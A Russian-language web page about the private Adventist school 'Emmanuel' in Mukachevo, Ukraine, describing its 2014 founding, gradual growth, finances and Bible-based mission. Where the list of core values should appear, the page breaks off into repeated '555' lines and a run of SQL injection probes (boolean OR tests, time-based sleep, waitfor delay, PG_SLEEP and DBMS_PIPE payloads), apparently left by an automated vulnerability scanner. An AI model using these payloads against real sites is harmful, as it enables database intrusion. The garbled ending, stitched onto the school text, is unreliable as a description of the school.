Идея частной школы в Мукачево родилась не самостоятельно, а из практики, наблюдений окружающего мира и потребностей жизни. В основе идеи воплощения частного Учебно-воспитательного комплекса (УВК) «Эммануил» лежат реальные факты и события. Жизнь выдвигает конкретные задачи, однако часто не сразу находятся продуктивные идеи для их решения. Задач было много, и потому идея для воплощения учебного заведения откладывалась, еще из-за нехватки помещения, оформления нужной документации, значительный риск создания нового и необычного. Но было много примеров как зарубежных, так и в Украине, что частное образование может и будет существовать. Частные заведения пробуют создавать условия для свободного развития каждой личности, поддерживают творческую инициативу. Это все и дало толчок, а тем более Церковь адвентистов седьмого дня обещала дополнительно поддерживать финансово новое частное учебное заведение.
Основателем Мукачевской частной школы «Эммануил» выступил благотворительный фонд «Регион Карпат», который выделил 2 небольших кабинета в здании по назначению под организацию медицинской клиники в 2014 году.
Начала работать школа из 2-х классов: «0» – подготовка к школе и «1» – класс по программе образовательных учреждений. Учителями выступили преимущественно родители детей, которые имели высшее педагогическое образование, кто имел уже большой опыт и практику преподавания в общеобразовательных учреждениях, а некоторые приобретали опыт, повышали свою квалификацию, совершенствовался вместе с детьми.
Процедура творчества требует усовершенствования хорошо известного решения, поэтому школа развивалась постепенно, классы добавлялись по одному. Частный УВК «Эммануил» на протяжении 5-ти лет растет вместе со своим первым классом, набирает опыт, учится профессионально и взвешенно относиться к различным и постоянным проблемам, как между детьми-родителями, так и с финансовыми трудностями. Уже можно увидеть результаты всестороннего подхода к учебному процессу. Наблюдается динамика роста наполняемости классов, что может охарактеризовать хорошую работу и организационный рост.
Проанализировав баланс Частного УПК «Эммануил» 2015-2017 гг. можно сделать вывод, что обычно все доходы равны расходам организации, мешающей быстрому расширению помещения.
Однако такой подход не позволяет развиваться, привлекать высококвалифицированных специалистов и выйти на минимальный уровень рентабельности. Совершенствование же есть процесс переконструирования объекта в оптимальном направлении. Когда переработка достигает предела, определенного поставленной ранее целью, процесс оптимизации прекращается, создается продукт умственного труда.
Надеемся, что школа «Эммануил» никогда не завершит процесс оптимизации, а будет продолжать совершенствоваться, расширяться и увеличиваться.
Это можно увидеть на примере "0" класса. С 2016 года имеет свое отдельное помещение, дети имеют свою раздевалку, спальню, туалет, игровую и, конечно, учебную зону. На базе отдельного помещения есть дополнительные помещения: медицинский кабинет, компьютер для учителей, класс информатики.
Частный УПК «Эммануил» находится на этапе развития, поиске своих интересных идей, финансов, доноров, спонсоров. Нарабатывается своя индивидуальная и уникальная школа с просторными классами, залами, игровым пространством.
Цель программы: определяет единые подходы к планированию и организации образовательного процесса для достижения учащимися обязательных результатов обучения, определенных Государственными стандартами.
Миссия ГИМНАЗИИ – развитие и воспитание ценностных ориентиров Соискателей образования на библейских началах.
Стратегия ГИМНАЗИИ – рассмотрение духовного, интеллектуального, нравственного, социокультурного и эстетического развития личности сквозь призму Библии. Сознание Соискателем образования свободы выбора и готовности нести ответственность за свои поступки.
Вектор ГИМНАЗИИ – обеспечить эффективные коммуникации через партнерство положительного взаимодействия между участниками учебно-воспитательного процесса: администрация – учитель, учитель-учитель, учитель-ученик, учитель-родители, ученик-ученик, родители-дети.
Основные ценности ГИМНАЗИИ:
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or 'xwZdpL2r'='
-1" OR 5*5=25 or "454uYQRB"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555XTVBJumM'; waitfor delay '0:0:15' --
555-1 OR 177=(SELECT 177 FROM PG_SLEEP(15))--
555-1) OR 204=(SELECT 204 FROM PG_SLEEP(15))--
555-1)) OR 868=(SELECT 868 FROM PG_SLEEP(15))--
555JB0XtIZu' OR 324=(SELECT 324 FROM PG_SLEEP(15))--
555yqNoOrob') OR 75=(SELECT 75 FROM PG_SLEEP(15))--
555LwyeKUcM')) OR 352=(SELECT 352 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555����%2527%2522\'\"
@@nnosL